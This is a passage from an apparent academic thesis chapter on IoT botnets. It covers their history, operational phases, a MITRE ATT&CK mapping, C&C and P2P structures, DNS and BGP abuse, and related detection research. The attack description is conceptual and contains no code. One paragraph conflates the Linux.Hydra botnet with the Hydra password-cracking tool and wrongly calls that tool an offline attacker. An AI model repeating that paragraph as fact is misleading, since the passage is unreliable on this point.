by malicious actors [68]. These vulnerabilities encompass various aspects, including send-
ing updates without encryption, the absence of digital signatures to verify the authenticity
of updates, permissions allowing modification of update locations, the lack of robust pro-
tocols for update verification, and the absence of procedures for manual updates [69, 70].
Moreover, the updating processes for such devices are often not user-friendly or automatic,
and many end-users neglect to regularly update their devices[71, 72].
One example highlighting the consequences of these vulnerabilities is the VPNFilter bot-
net, which specifically targets the well-known and unpatched vulnerabilities in IoT devices
to establish a botnet [73, 74]. This malicious attack has successfully infected a staggering
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number of over 500,000 routers including D-link, Asus and Huawei that were spread over
54 countries. Thus, the absence of regular security updates on IoT devices creates a vul-
nerability wherein malicious users can execute unauthorised firmware updates, ultimately
gaining control over the device.

2.3 Evolution of IoT Botnet

The discovery of the first IoT botnet, Linux.Hydra, in 2008, marked a significant mile-
stone in the evolution of botnets [75]. However, it was the emergence and outbreak of
the Mirai botnet in 2016 that fully exposed the magnitude of the threat posed by IoT bot-
nets [76, 77]. This certain botnet took advantage of weaknesses in the Telnet protocol,
targeting numerous insecure IoT devices. Afterwards, the development and growth of IoT
botnets have continued. Such evolution has been aided by releasing the source code of
Mirai botnet, which resulted in several Mirai-like variants came into operation [78]. The
Mozi botnet emerged as a potent threat to IoT devices, primarily targeting those with weak
or default login credentials. Mozi, discovered in late 2019, incorporates elements from
various botnets, including Mirai and Gafgyt [79]. By utilising a P2P infrastructure based
on the Distributed Hash Table (DHT) protocol, Mozi demonstrates a decentralized nature,
making it more challenging to dismantle [79, 80]. Mozi’s activities encompass a wide
range of nefarious purposes, such as launching DDoS attacks, data exfiltration and remote
code execution. Such a botnet highlights the potential for cybercriminals to combine and
adapt techniques from multiple sources, resulting in the development of increasingly so-
phisticated threats.
Prior to Mirai, several other notable botnets had already left their mark in the cyber-
security landscape. These earlier botnets, including Linux/Hydra, Chuck Norris, Light
Aidra/Aidra, Linux.Darlloz, and KTN-RM/Remaiten, played vital roles in shaping the
evolution of botnet attacks and the associated techniques employed. Table 2.2 provides
an overview of IoT botnets evolution and their influence by year. Hydra is a powerful and
widely used network login cracker tool that is designed for offline password attacks. It
supports a wide range of protocols, including SSH, FTP, Telnet and HTTP. Hydra works
by attempting to authenticate using a large number of login/password combinations from a
provided list and utilise brute force attacks. Chuck was active around 2010 and known for
its utilisation of brute-force attacking techniques. It specifically targeted Linux devices and
aimed to compromise them by exploiting vulnerabilities and weak authentication mecha-
nisms. Notably, Chuck Norris botnet also focused on infiltrating D-Link routers, exploiting
authentication weaknesses within these devices.
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Year IoT Botnet Influence

2008 Linux/Hydra [81] The first known malware to target IoT devices uses open-
source code and a propagation mechanism for carrying out
DDoS attacks.

2010 Chuck Norris [82] Spreads through brute-forcing passwords and exploits an
authentication bypass vulnerability in D-Link routers.

2012 Aidra [76] The infection mechanism depends on a simple authentica-
tion guessing, has open-source code on Github and sup-
ports multi-system architecture.

2014 Linux.Darlloz [39] Combines brute-force attacks on telnet credentials with the
exploitation of a CVE in PHP servers.

2016 Remaiten/KTN-
RM [83]

Employ IRC architecture to direct compromised devices
and able to identify the processor architecture of its targets
and deliver only the relevant payload.

2018 Torii [84] Modular structure, rich functions, get instructions for use
with encrypted multilayer communication.

2019 Mozi [85] Relies on P2P architecture and has developed from three
different malicious codes, including Mirai, Gafgyt, and
IoT Reaper.

2021 Meris [86] Initiated a massive DDoS attack on a financial industry cus-
tomer. Cloudflare detected more than 17 million fake traffic
requests per second (RPS) during the attack.

Table 2.2: Overview of Botnets evolution and their influence by Year

Bashlite, also known as Gafgyt and Qbots, which is an IoT botnet that first appeared before
the Mirai outbreak in 2015 [87]. It targets Linux-based IoT devices and, like Mirai, ex-
ploits weak or default login credentials. This botnet has participated in large-scale DDoS
attacks, causing significant disruptions to various online services. Over time, Bashlite
has evolved to include new capabilities, adding more exploits and extending its reach to
a broader array of IoT devices [88]. The continuous development of Bashlite highlights
the ongoing threat posed by established botnets, as they constantly adapt to stay effective
against enhanced security measures.

2.4 IoT Botnet Formation & Structure

As discussed earlier, the successful formation and operation of an IoT botnet heavily relies
on exploiting vulnerabilities in IoT devices. To achieve their malicious goals, IoT botnets
follow a series of carefully orchestrated phases: (i) scanning, (ii) propagation, and (iii)
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attack, as shown in Fig. 2.3. These phases serve as the foundation for the botnet’s activ-
ities, enabling it to exploit vulnerabilities, propagate itself, and carry out malicious actions.

Propagation

Scanning

Attack

Communication

Figure 2.3: Main phases of an IoT botnet operation.

During the scanning phase, the botnet actively searches for vulnerable IoT devices within
the targeted network. Port scanning allows the botmaster to gather critical information
about the targeted hosts, such as the operating system, services running on specific ports
and potential entry points for unauthorised access [89, 90]. Through scanning a range of
ports, the botmaster can identify hosts that have vulnerable services and misconfigured
security settings. This phase is important to lay the groundwork for further infections by
identifying a wide range of vulnerable devices.
Following the scanning phase, the botnet proceeds to the propagation phase. During this
phase, the recognised vulnerabilities are exploited by botnet to obtain unauthorised access
to the targeted victims and acquire control over them [24]. As a result, the compromised
devices become part of the botnet, progressively enhancing its strength and reach.
Once the botnet has established a sufficient number of compromised IoT devices, it enters
the attack phase. In this phase, the botmaster coordinates and directs the compromised
devices to carry out various malicious activities. Such activities can include launching
DDoS attacks, spam and stealing sensitive data. The goal of the attack phase is to cause
disruption to targeted systems.
Throughout all phases and based on the botnet’s architecture, whether it is centralized
or P2P, a communication and control mechanism is established. In this process, the bot
interacts with the C&C infrastructure, which acts as the central authority. The C&C infras-
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tructure facilitates the dissemination of instructions and enables the exchange of messages
between the bot and the controlling entity.

2.5 IoT Botnets & Cybersecurity Frameworks

The main phases of an IoT botnet operation can be analysed and interpreted within the
context of broader frameworks used in cybersecurity. These frameworks aim to provide a
structured understanding of the techniques utilised in the execution of complex and multi-
stage Advanced Persistent Threats (APTs).
Notable among these are the cyber kill chain [91, 92] and the ATT&CK framework prop-
agated by MITRE [93, 94]. The MITRE ATT&CK model is chosen to describe IoT bot-
net phases because it is a globally recognised knowledge repository that captures real-
world adversary tactics and techniques. Its established reputation, structured taxonomy,
adaptability to IoT threats, and continuous updates make it a valuable framework for un-
derstanding the complexities of IoT botnet attacks. Table 2.3 provides a comprehensive
overview of the mapping between IoT botnet techniques and the corresponding phases of
the MITRE ATT&CK model. It illustrates the relationship between specific tactics em-
ployed by IoT botnets and the stages of an attack, facilitating a deeper understanding of the
attack lifecycle.

Reconnaissance

During the reconnaissance phase, malicious actors tailor their approach to each specific
attack. Their objective is to obtain the necessary information to comprehend the victim’s
infrastructure and identify vulnerabilities, both technical and non-technical. Additionally,
they acquire additional information that aids in finding a path into the target [89, 90].
Evidently, different botnets have their own carefully crafted scanning methods that may
look identical to routine scans performed by network operators for aspects of service man-
agement [95]. The sole purpose of an adversary during the scanning process is to obtain
a better view of devices that operate over vulnerable services attached to open TCP/UDP
ports that are also responsive to scanning probes. Port scanning is stratified into two major
categories: (i) vertical and (ii) horizontal. In vertical scans, multiple ports are scanned on
the same target [96]. Vertical scans are useful for gathering information to attack a particu-
lar victim host or when a targeted attack is planned to be instrumented over particular web
services. On the contrary, horizontal scans are considered when the same port is scanned
over multiple targets [96].



CHAPTER 2. BACKGROUND & RELATED WORK 23

ATT&CK
Model

IoT Botnet
Techniques Description

Reconnaissance Active scanning
The aim of this phase is to gather information about
potential targets and identify vulnerable IoT devices
within the network.

Credential
access Brute-forcing

It involves acquiring unauthorised access to IoT de-
vices by obtaining valid credentials or exploiting
weak passwords, enabling the attacker to escalate
privileges and expand their control.

Initial access Dropper
It establishes an initial point of entry into the tar-
geted IoT device. The attacker aims to exploit vul-
nerabilities to gain unauthorised access.

Execution Malware
propagation

Aiming to deploy and execute malicious software
or malware on the compromised IoT devices, the
attacker can maintain persistence and control over
the compromised devices.

Persistence
Modifying system

processes,
scheduled tasks

Adversaries seek to maintain a persistent presence
within the compromised IoT environment. It in-
volves implanting backdoors, establishing persis-
tent connections, or leveraging persistence mech-
anisms specific to the IoT ecosystem.

Defence
evasion Encryption

It employs techniques that enable the attacker to ob-
fuscate their malicious activities and evade detec-
tion by security defences, ensuring their continued
access without raising suspicions.

Command and
Control Centralized, P2P

Attackers establish communication channels be-
tween the compromised IoT devices and the at-
tacker’s command-and-control infrastructure.

Impact DDOS,
crypto mining

Compromised devices execute a variety of mali-
cious activities with the intent to disrupt or damage
victim services. These activities are aimed at com-
promising the availability, integrity, or functional-
ity of the targeted services and can have significant
negative impacts on their operation.

Table 2.3: Mapping of IoT botnet techniques to the MITRE ATT&CK model
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As reported in [97], modern botnets may demonstrate hybrid scanning properties involving
both vertical as well as horizontal scans. Vertical scanning refers to the process by which
a botnet scans a single IP address or a narrow range of IP addresses for multiple open ports
and vulnerabilities [98]. Such a method enables the attacker to discover specific weak
points in the potential victim. On the other hand, horizontal scanning involves scanning a
broad range of IP addresses for a single open port or vulnerability [98]. Botnet operators
frequently employ horizontal scanning when seeking to quickly increase the botnet’s size
and compromise the highest possible number of devices in a short amount of time.

Credential Access

Credential access refers to the phase in which an attacker aims to gain unauthorised access
to credentials to escalate privileges and expand control over the system [90]. During this
phase, attackers employ various techniques such as password cracking, brute-forcing, cre-
dential theft and exploiting weak authentication mechanisms [99, 100]. By acquiring valid
credentials, attackers can impersonate legitimate users, bypass security measures and gain
unauthorised access to sensitive resources. The goal of credential access is to obtain the
necessary credentials to escalate privileges, move laterally within the network and access
valuable information [101, 102]. Once credentials are compromised, attackers can gain a
foothold in the network and potentially compromise additional devices [101].

Persistence

The persistence phase involves the attacker’s efforts to establish a long-term presence
within a compromised system or network, enabling ongoing unauthorised access and con-
trol. During this phase, various techniques and methods are employed to ensure continued
access without detection and removal [90]. Attackers employ tactics such as creating back-
doors, implanting malicious code, modifying system configurations, or utilising rootkits
to establish persistent access. These techniques allow the attacker to maintain control over
the compromised environment and carry out malicious activities over an extended period
[83]. For instance, malicious actors can achieve persistence on an IoT device by manipu-
lating the /etc/rc.local file. This guarantees that the intended modifications or customised
actions are automatically implemented each time the system starts up.[83].
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Execution

The execution phase is another crucial aspect of the botnet lifecycle, as it involves the
exploitation of identified vulnerabilities to compromise potential victims and install the
botnet malware [90, 39]. Once the botmasters have successfully identified a susceptible
host during the scanning phase, they can initiate the infection process by exploiting the
identified vulnerabilities [24]. Such a process typically involves the delivery of malicious
payloads by employing an external server known as bot loaders that host and disseminate
multiple malware strains [39]. Loaders recruit new bots by instructing vulnerable devices
to connect to specific DNS domains and download specific malware strains [22]. This en-
ables botnet operators to expand the botnet’s reach across various IoT platforms, including
MIPS and ARM. Once the malware is installed, it establishes a connection to the botnet’s
command and control server, enabling the botmaster to remotely control and manipulate
the compromised device as part of a broader botnet infrastructure [22, 87].

Defence Evasion

In the defence evasion phase, attackers employ various techniques to obfuscate their ma-
licious activities to avoid detection by security defences [90, 103]. This phase is critical
for attackers as it allows them to maintain persistent access to the compromised devices
without raising any suspicion. To accomplish this, attackers employ various tactics, in-
cluding encryption, code obfuscation and anti-analysis methods [104]. Such techniques
are utilised to hide malicious payloads and hinder security mechanisms that are designed
to detect and block malicious activities such as intrusion detection systems [104]. Hence,
through employing sophisticated evasion techniques attackers can extend the duration of
their unauthorised access and maximise the potential impact of the malicious activities.

Command and Control

During the C&C phase, the attacker establishes communication channels to take control
of the botnet network. It involves utilising different network architectures, such as cen-
tralised and P2P [105]. The primary objective of the C&C phase is to remotely control the
compromised devices and direct malicious operations. In addition, it allows the attacker
to issue commands, gather information and coordinate actions [100, 87].
Through these communication channels, the attacker can execute various malicious oper-
ations. These include launching attacks, distributing commands to compromised devices
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and exfiltrating data from the compromised network. Section 2.7 provides additional in-
formation about the architecture and it offers a comprehensive understanding of the C&C
and P2P architecture employed in IoT botnets.

Botnet impact

The impact phase involves the execution of various malicious actions by the attacker to
disrupt the targeted services and systems. This phase aims to achieve significant negative
consequences for the victim organisation or individuals. The most commonly noted threat
posed by IoT botnets is their ability to launch a DDos attack [35]. Such attacks attempt to
prevent legitimate users from gaining access to specific network services. This is achieved
by overwhelming the victim server with an enormous number of invalid requests in order
to exhaust its resources. As a result, the victim loses its ability to respond properly to
normal users. The aim of a DDoS attack is to exhaust the bandwidth or resources of the
target by making simultaneous requests. To accomplish this reflection and amplification
techniques are performed by attackers. In reflection attacks, the attacker spoofs the victim’s
IP address and sends requests to various destinations which resulting in the destination
servers responding to the victim.
The attacker employs this technique to hide his identity. In an amplification technique, a
small number of requests from malicious actors leads to a high volume of packets directed
to a victim. This technique is often combined with reflection to launch a large DDoS attack
and the most common kind of traffic used is DNS, NTP and SNMP.
In February 2018, the widely recognised software development platform Github experi-
enced a significant DDoS attack. The attack achieved a peak scale, reaching a staggering
1.35 terabits per second (Tbps) of traffic, with an influx of 126.9 million packets per second
[106, 107]. This surge in traffic overloaded the platform’s resources, resulting in intermit-
tent outages and performance issues[106]. During the attack, GitHub was subjected to an
amplification attack orchestrated by a considerable number of compromised IoT devices
[108]. Malicious actors used the compromised devices to send a high volume of caching
requests towards GitHub’s data servers, leading to a complete shutdown for a duration of
10 minutes [109].
In 2020, Amazon Web Services (AWS) a leading provider of cloud computing service
experienced a significant DDoS attack that had resulted in considerable consequences.
During the incident, a massive volume of traffic was directed towards AWS’s infrastructure,
causing service disruptions and impacting numerous websites and applications that rely on
AWS for hosting and infrastructure support. AWS publicly declared that the attack reached
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a peak volume of 2.3 Tbps [110, 111, 112].
During September 2021, Yandex, a prominent Russian internet giant, encountered a sub-
stantial DDoS attack. The attack unfolded over a prolonged period, starting from August
7th, 2021, with an initial rate of 5.2 million requests per second (RPS). The intensity of
the attack steadily escalated, culminating in a staggering peak rate of 21.8 million RPS by
September 5th of that year [113, 114]. Such large-scale DDoS attempts placed immense
strain on Yandex’s infrastructure, posing a significant threat to its services and users.

2.6 IoT Botnet Structure

Fundamentally and similarly with conventional botnets, IoT botnet operation revolves around
a single or a number of C&C servers that are instrumented by a malicious actor or ’hack-
tivist’ groups. Depending on the malware variant and also the botnet’s scanning and prop-
agation strategy, C&C servers interact with Loader and Report servers as well as with
devices that are simply infected (i.e., bots) [38]. The communication channel amongst the
aforementioned entities varies and it defines the architecture of a given botnet to act under
a centralised or a distributed fashion. Commonly, centralised botnets are underpinned by
protocols such as IRC and HTTP/HTTPS whereas P2P-based protocols form the basis for
distributed botnets [1, 38, 39]. The evolution of botnet development by organised APT
groups (e.g., APT41 group 1) has demonstrated that modern IoT botnets are resilient to
detection by ISP policies and intrusion detection systems (IDS) due to advanced evasion
techniques such as protocol obfuscation, Fast-Flux and DNS-oriented Domain Generation
Algorithms (DGA) [38].
The typical IoT botnet architecture contains various components, including a command
and control (C&C) server, bot, scanner, report server, loader and malware server. Figure
2.4 depicts IoT botnet components. C&C server is in charge of botnet control issuing
commands to bots for launching different types of attacks (e.g., spamming, DDoS). The
bot is a malicious host that has been infected and compromised by malware and acts on
behalf of Botmaster. Botnets use scanners to identify vulnerable IoT devices by probing
potential victim devices to locate open telnet or SSH ports.
In order to maintain scan results such as active bots and stolen credentials related to vul-
nerable devices, a report server is commonly employed by botnets. The malicious actors
utilise the loader to turn vulnerable IoT devices into bots. The loaders seek the scan results
from the report server in order to login to IoT devices and command them to download the

1FireEye report on APT41:https://content.fireeye.com/apt-41/rpt-apt41/
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Figure 2.4: IoT botnet components.

botnet malware which is hosted in the malware server. The aforementioned components
are geographically dispersed, which causes it challenging to detect and track.
In addition, botnets can be stratified in terms of their communication architecture that can
be either (i) centralised, (ii) P2P, or (iii) hybrid. In the centralised setup, the botmaster
instructs a centralised Command and Control (i.e., C&C) server to send a command to
the bots as shown in Fig. 2.5 (a). By contrast, P2P Bots are distinct from conventional
bots since their command and control module is designed through a relay-type paradigm
adhering to P2P principles. As evidenced by Fig. 2.5 (b), there is no central point for a
C&C server and any host in the network can work as a client and a server at the same time.
In this scenario, the botmaster can communicate directly with a bot and the commands are
relayed among the bots.
In order to employ a better structure with respect to bot orchestration, the P2P architecture
has recently evolved towards a hybrid scheme as shown in Fig. 2.5 (c). Compromised
devices in this architecture are categorised into two groups: (i) servant bots, and (ii) client
bots. The first group are called servant bots, as they act as both servers and clients, and
have static IP addresses (routable IPs) which are simply accessible from the entire Internet.
Conversely, bots in the second group do not accept incoming connections and consist of
bots operating behind firewalls that are inaccessible from the global Internet as well as bots
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Figure 2.5: Prevalent structures of IoT botnets, (a) centralized, (b) decentralized
(P2P), (c) hybrid P2P.

with dynamically assigned IP addresses (non-routable IPs) [105].
Furthermore, P2P architectures in IoT botnets can be categorised in terms of how bots
are distributed. Hence, we could have both structured and unstructured setups with loose
hierarchy across bots [115]. In structured bot setups, compromised devices are able to
interact with one another via the use of the crafted P2P protocol in order to update their
neighbour peer information. Such botnet-related P2P protocols are commonly based on
the Distributed Hash Table (DHT) maintained by botmasters [115, 105]. Through the
functionalities offered by DHTs, botmasters are able to search running botnet services
using hash table (key, value) pairs and storing information in the DHT instance running
on every bot [115, 105].
In an unstructured bot setup, the compromised devices do not maintain a seed list, and
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scan the network to collect information in order to identify potential bots [116]. No specific
network topology is defined in such setup and does not support key lookups function [116].
Therefore, the difference between structured and unstructured systems relies on the method
of adding peers to the botnet network.

2.7 Botnet topology & Communication Protocols

IoT botnets leverage various internet protocols and services to launch their activities, main-
tain persistence and evade detection. BGP and DNS are two notable services and protocols
that are frequently abused by IoT botnets.

2.7.1 Domain Name System (DNS)

The aim of DNS is to translate a domain name that is easy for humans to understand to their
associated IP address, thus simplifying the process of accessing online services. Similar
to other types of malware, bots utilise DNS to locate the IP addresses of associated C&C
servers and other peers [117]. Modern botnets employ a variety of DNS-based evasion
techniques, including Domain Generation Algorithm (DGA)-based approaches and Fast-
Flux Service Networks[117].
The great feature of DNS-based evasion methods is to efficiently conceal the machines
or servers that are used to carry out malicious activities and extend the robustness of the
botnet. Fast flux approaches allow a single fully qualified domain name to link with an
enormous number of IP addresses [118]. The malicious actors improve the probability of
the botnet’s survivability by frequently cycling across a number of IP addresses [118, 119].

2.7.2 Border Gateway Protocol (BGP)

For the purpose of exchanging routing information between ASes, interdomain routing
protocols such as BGP are deployed. The BGP protocol was developed to regulate the
route selection and packet forwarding across ASes. The BGP router keeps a table with
the path (AS path) in order to reach a certain IP prefix. One of the primary reasons ASes
employ BGP for interdomain routing is to allow their own policies to be transmitted to
their neighbours and, ultimately, across the entire Internet. One of the most distinguishing
characteristics of the interdomain routing protocol is that it enables each AS to define its
own administrative policy for determining the optimum route, as well as for broadcasting
and accepting route announcements [120].
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An Autonomous System (AS) refers to a group of Internet Protocol (IP) prefixes that are
managed by network administrators and operate under a unified and well-defined routing
strategy. Each AS is identified by an Autonomous System Number (ASN) assigned by the
Regional Internet Registry (RIR) and considered a unique identifier for the network. The
ASN is a 32-bit integer that is globally unique and is used to distinguish an AS from other
ASes on the Internet. ASes can be classified into three general categories: (i) single-homed
stub, (ii) multi- homed and (iv) transit.
A single-homed stub AS is typically connected to only one AS, which is its upstream
provider [121]. Such an AS has a simple routing strategy and does not participate in the
exchange of routing information with other networks. In contrast, a multi-homed AS is
connected to multiple upstream providers [122], this allows the network to benefit from
redundant connections and increased reliability. A transit AS functions as a conduit be-
tween other ASes that are connected to it. Transit ASes enable the formation of global
communication networks and facilitate the exchange of traffic between networks that are
not directly connected to each other.

Figure 2.6: Business relationships amongst ASes.

As visualised in 2.6, ASes form business relationships that can be divided into two main
categories: (i) peer-to-peer (p2p) and (ii) customer-to-provider (c2p). In the c2p scenario,
an AS needs to purchase transit services for any traffic headed to the rest of the Internet that
the AS does not own or cannot access through its customers. Under the p2p relationship,
two peer ASes obtain access to each others’ customers, typically on a quid pro quo ba-
sis. Furthermore, inter-AS traffic on the Internet is often routed based on the commercial
relationships that exist between the ASes.
A common way for botmasters to expand their botnet network is by performing BGP hi-
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jacking. This method involves acquiring control of IP address blocks without the approval
of legal owners [123].

2.8 Cyber Threat Intelligence (CTI) feeds

Cyber Threat Intelligence (CTI) is the practice of collecting, analysing, and disseminating
information about potential and current cybersecurity threats.

2.8.1 Attack Honeypots

Honeypots are utilised by security researchers to gather valuable information about IoT
botnets. This allows for further analysis and measurement of their characteristics, tech-
nology usage, and the intensity of attacks. To achieve this, researchers set up honeypots
encompassing a diverse range of vulnerabilities to be intentionally susceptible to compro-
mise. Once a device has been infected, the actions and behaviours of the compromised
devices can be closely monitored and analysed, hence enabling the acquisition of valuable
insights into the botnet’s activities. Lance Spitzner defines honeypots as “a honeypot is an
information system resource whose value lies in unauthorised or illicit use of that resource”
[124]. In addition to honeypots, security researchers often employ specialised software,
such as honeywalls. This software is designed to effectively log, analyse, and monitor in-
coming and outgoing network traffic. By leveraging widespread networks of honeypots,
researchers can assess the scope and impact of botnet operations. Furthermore, they can
identify trends and patterns in botnet behaviour. Ultimately, using honeypots and the sub-
sequent data analysis plays a vital role in improving the overall understanding of botnets
and enhancing cybersecurity defences.

2.8.2 IP Blacklists

IP blacklists are used by network administrators to identify and block IP addresses that
engage in harmful activities including virus distribution, spamming and click fraud [125].
It mainly functions as an access control technique that restricts peers who are included in
a well maintained list to access certain network resources. While there are different types
of blacklists, they all operate based on the same fundamental idea. In the case that a par-
ticular host is identified as harmful, it is subsequently included in a centralised database.
In addition, there are two distinct formats for IP blacklists: (i) a text file format suitable for
constructing Access Control Lists (ACLs) on networking devices, (ii) cloud services that
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can be accessed using online REST APIs [126]. Such blacklists can be queried by IDS
or firewall to identify whether a previously unknown endpoint is known for engaging in
suspicious activity [127]. Mitigating botnet activities through IP blacklists involves iden-
tifying and blocking communication between compromised devices and the C&C servers
that control the botnet [128]. This approach is employed to hinder the proliferation of bot-
nets as well as prevent compromised devices from launching malicious activities [129].
For instance, IP blacklists are used to combat and reduce the amount of spam emails de-
livered by botnets as well as to prevent new infections by blocking malicious URLs.

2.9 Related work in botnet profiling and detection

Many researchers focus on the security vulnerabilities of IoT devices which are commonly
exploited by attackers to turn them into botnets (e.g.,[38, 24, 39, 35, 130, 131, 50]. The first
step in most successful large-scale cyber-attacks is infecting IoT devices via telnet. The
measurement study performed by Metongnon and Sadre [38] indicated that port 23 (telnet)
is the most frequently exploited port, followed by port 22 (SSH) and port 2323 (TCP). The
previous work highlighted some ports in IoT devices that were vulnerable and exposed
to be targeted by malicious actors. More recently, Antonakakis et al. [24] provided an
inclusive understanding of Mirai’s evolution and emergence and highlighted the impact of
the shared source code which led to the proliferation of Mirai variants.
In addition, Angrishi [39] highlighted the root cause of vulnerabilities in most IoT devices.
He [35] suggested that the rush to deliver new services and devices to consumer markets
by third party suppliers has resulted in a great number of IoT devices being exposed to se-
curity threats. Wurm et al.[130] have also suggested that the security issues related to IoT
devices are known to producers, but have been ignored or treated as an afterthought. Com-
monly, this is because of fast time to market (TTM) and cutting costs throughout the design
and development process [130]. The EU Agency for Cybersecurity (ENISA 2017) [131]
reported that manufacturers may tend to limit security properties in order to produce low-
cost IoT devices which may result in devices being unsecured and vulnerable to multiple
threats. Neshenko et al. [50] pointed out that when manufacturers use default credentials, it
facilitates unauthorised access to IoT devices, and this risk remains largely unaddressed. In
addition, manufacturers’ failure to provide adequate firmware updates during the IoT life
cycle prevents the devices from amending the security bugs and vulnerabilities that are
constantly being discovered [131][50]. Nevertheless, our research takes a different angle
by concentrating on the malware binaries that are most frequently active. We delve into the
targeted vulnerabilities and preferred services, thus offering a unique perspective on IoT
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security. Our focus extends beyond manufacturer-centric issues, exploring how specific
malware binaries exploit these security lapses and the specific vulnerabilities they target.
IoT botnets propagate through continuously scanning the Internet for vulnerable IoT de-
vices which have default credentials. Antonakakis et al. [24] analysed the propagation of
the Mirai botnet and found that it propagates by scanning the Internet to identify vulner-
able IoT devices which run SSH or telnet. The authors indicated that the lack of security
measures in some IoT devices, for instance, the devices’ weak authentication enables the
attackers to compromise 600 thousand devices in a very short time.
In addition, some researchers conducted an advanced security analysis to investigate the
loopholes and nature of IoT devices. In their work, Sachidananda et al. [132] implemented
a security testbed to examine the security risks of IoT devices. This work is based on se-
lecting state of the art IoT devices that are available in the market, such as Samsung Smart
Things, Philips Hue, SENSE Mother and Amazon Echo. The testbed comprised of vul-
nerability scanning, fingerprinting, process enumeration and port scanning for various IoT
devices. The analysis demonstrated that a large number of the devices have unnecessary
open services and ports including 23 and 80 that allow malicious actors to gain informa-
tion related to targeted devices. In contrast to the existing literature, our work with BotPro
delves into the assessment of activity duration for infected IP addresses engaged in IoT
botnet activity. Hence, it enables us to obtain a deeper understanding of botnet life cycles,
characterising not only the attack patterns but also the temporal dynamics of the infection.
By analysing the longevity and persistence of infections across different IP addresses, we
can better understand the resilience of these botnets, offering valuable insights that could
be leveraged for the development of more effective botnet countermeasures.
Undoubtedly, the weak implementation of AS-level security practices plays a crucial role
on the prevalence of malicious activity targeting core socio-technical systems (e.g., fi-
nance) and critical infrastructures (e.g., nuclear, utilities) [125]. In fact, certain ASes
may be considered as "bad harvest" and implicitly offer incentives and flexibility to at-
tackers when deploying large-scale attacks [24, 42]. As discussed in various studies [24,
43, 125, 133], the diversity of AS-level security policies in synergy with the minimal
enforcement of such policies due to political and monetary constraints requires mecha-
nisms that rely on consistent measurement studies such as to capture the emerging prop-
erties of large-scale threats. Hence, relating the influence of AS tolerance over IoT bot-
net deployments is significance for equipping next generation defence mechanisms with
up to date knowledge [133, 24].
The majority of AS-level measurement studies examined security best practices in ASes
with the use of metrics distilled by third-party abuse data (e.g., [134, 135]) or looked at
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AS structural characteristics from a business perspective where security practises were
peripherally discussed (e.g., [133, 120]). Moreover, work investigating IoT botnet activity
placed greater emphasis on providing an overview of vulnerabilities exploited by specific
malware variants [24, 42, 43, 125]. However, to the best of our knowledge, most past
and recent studies fail to determine the influence of the structural properties of an AS with
respect to tolerance on IoT botnet activity. In addition, our work seeks to bridge this gap
by analysing the interplay between the AS-level properties and IoT botnet activities. This
unique approach helps to enhance our understanding of how the inherent characteristics of
an AS can impact its susceptibility to IoT botnet attacks, hence paving the way for more
effective mitigation strategies.
A growing body of literature has analysed the Internet-wide scanning carrying out by bot-
nets. Such scanning is an essential element in launching many of today’s large scale attacks.
Dainotti et al. [136] analysed the scanning activities originating from botnets in order to
identify and characterise their scanning strategies and purposes. This work stated that bot-
nets carry out Internet scanning for various reasons, including penetration, propagation
and enumeration. However, this work was based only on traffic traces gathered from the
UCSD network telescope and was unable to give insights related to malicious activities
that follow-up scanning.
Botnets utilise different scanning approaches to find potential victim IoT devices. Li et al.
[137] analysed the malicious probing traffic generated by botnets in order to determine the
significance of this activity. Their analysis drew upon a large amount of honeynet data to
understand the various scanning strategies used by botnets. Furthermore, statistical tech-
niques had been proposed in [137] in order to infer and define the attributes of such scan-
ning including coordination among bots in the scanning process, uniformity and trends.
The proposed techniques showed that 14.8% of the observed events are merely port scan-
ning without any malicious payload, while the remaining 83.7% events target particular
vulnerabilities. In their survey, Bou-Harb et al. [96] categorised Internet scanning meth-
ods into two types, namely single source cyber scanning and distributed cyber scanning.
In their study Durumeric et al. [138] highlighted the most common scanning approach
performed by malicious actors which is large horizontal scans.
Botnets conduct a horizontal scan continuously by utilising a self-propagating worm code
to take advantage of device vulnerability [136]. The scanning activities take place when
a group of exploited IoT devices (zombies or bots) are used to scan a victim [96]. These
bots are not required to be on a contiguous group of IP addresses and they can be very
distributed [96]. For example, a botnet that contains just 254 comprised devices would
have the opportunity to scan a complete Class C network [96]. It might be accomplished
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by sending one packet from each compromised device. In this scenario, a scanning cam-
paign can be conducted in a way which hid the true adversary (C&C) as the compromised
devices are fundamentally zombie members [96]. The scanning activities performed by a
botnet are large-scale coordinated events and normally include a massive number of com-
promised devices [95]. The aim of this process is to gather information about a vulnerable
service and devices belonging to specific network domains and to provide this information
to malicious actors [95].
Several studies have been conducted in order to detect and understand the behavioural
properties of botnets. Some preliminary work was carried out in early 2005 to understand
the evolution of bots and botnets. The experiment carried out by Cooke et al. [139] proved
that the activity of botnets might be observed and analysed by implementing honeypots.
Suzuki e al. [140] employed IoT honeypot to capture various attack on IoT devices running
on different CPU architectures. In their work, they measured the growth of Telnet-based
attacks against IoT devices.
Nonetheless, all aforementioned studies did not capture the modern scanning characteris-
tics of new variants and in parallel did not provide a recent overview of the botnet structural
properties (i.e., centralised or P2P) as conducted in this work.
The principle in information theory is to find important data, with the use of techniques
such as mutual information, multiscale and Shannon entropy. The most widely used tech-
nique is entropy, where the entropy can be known as the dispersal grade of features. Ac-
cording to Lakhina et al. [141], the entropy of feature distributions performs better than
widely used counter-based features (like flows, packets and byte counts). They made use
of Shannon entropy to sum up a feature distribution of network flows. Gu et al. [142] made
use of Shannon maximum entropy estimation to estimate the network baseline distribution
and to give a multi-dimensional view of network traffic. Feature distributions give a dif-
ferent view of a network activity than traditional counter-based volume metrics (like flow,
packet, byte counts), which are widely used in commercial solutions.
Various techniques have been implemented by researchers to observe and characterise IoT
botnet attacks such as reverse engineering and active and passive measurement. For exam-
ple, Welzel et al. [143] utilised an active technique to develop a framework for observing
the DDoS botnets and their victims. In order to measure the impact of DDOS attacks
on the network, the authors in [143] proposed a framework that has two principal com-
ponents: DDoS C&C monitoring and DDoS target monitoring. Such framework demon-
strated that 65% of victims are heavily affected by botnet based attacks. An example of
utilising both active and passive measurement was performed by Metongnon and Sadre
[38]. Both techniques were implemented in [38] to get a better understanding of the trends
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in the evolvements of botnet families.
In addition, in their study [144] implemented both active and passive measurements to
analyse and measure the operation and spread of a recent IoT botnet named Hajime. These
techniques allow them to utilise Hajime as a lens to gain a profound understanding of the
operation of IoT botnets. Accordingly, the proposed techniques in [144] disclosed the types
and the architectures of devices exploited by botnets as well as recognised the countries
that had more vulnerable IoT devices.
Moura et al. [33] investigated DNS resilience by utilising active measurements and passive
observations to understand the DNS behaviour during the attacks. The main outcomes of
their work assist in improving DNS resilience and reducing the harm from a DDoS attack.
Another work focusing on DNS was conducted by Park et al. [145]. Their comprehensive
measurement aimed to investigate all open DNS resolvers on the Internet to understand
